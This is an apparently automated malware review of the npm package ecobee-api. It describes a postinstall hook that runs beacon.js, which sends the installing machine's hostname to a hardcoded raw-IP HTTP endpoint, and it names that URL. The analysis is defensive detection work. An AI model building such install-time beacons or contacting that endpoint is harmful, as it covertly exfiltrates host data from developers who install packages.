Utility package

AI Security Review

scanned 1d ago · by lpm-firewall-ai

Installing the package automatically executes a network beacon. It transmits the installing machine's hostname to an external IP address with no documented package function.

Static reason

One or more suspicious static signals were detected.

Trigger

npm package installation (postinstall)

Impact

Unconsented host-identifying data exfiltration during installation.

Mechanism

postinstall hostname beacon over HTTP

Attack narrative

On installation, npm invokes beacon.js through postinstall. The script obtains os.hostname() and appends it to an HTTP request sent to a raw external IP, suppressing connection errors. The package contains no documented legitimate implementation to justify this automatic beacon.

Rationale

This is concrete, unconsented install-time host-data exfiltration disguised as a placeholder package. It warrants blocking.

Summary

Malicious code in ecobee-api (npm)

Details

On `npm install`, ecobee-api runs `node beacon.js` via its postinstall lifecycle script. The beacon issues an HTTP GET to the hardcoded bare-IP endpoint http://169.58.96.170:9001/cb, passing the installer's hostname (os.hostname()) and the package name as query parameters. The package ships no functional library code — package.json declares an UNLICENSED 'Utility package' with a name resembling the Ecobee vendor, and the only substantive shipped file is the beacon. This is the shape of a dependency-confusion / typosquat recon beacon: it confirms install-time code execution on the victim host and identifies the host to the operator of 169.58.96.170 over plain HTTP.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs beacon.js automatically during postinstall.
beacon.js reads the host name and sends it to an external raw-IP HTTP endpoint, while suppressing errors.

Evidence against

README identifies the package only as a placeholder; no legitimate runtime functionality is supplied.
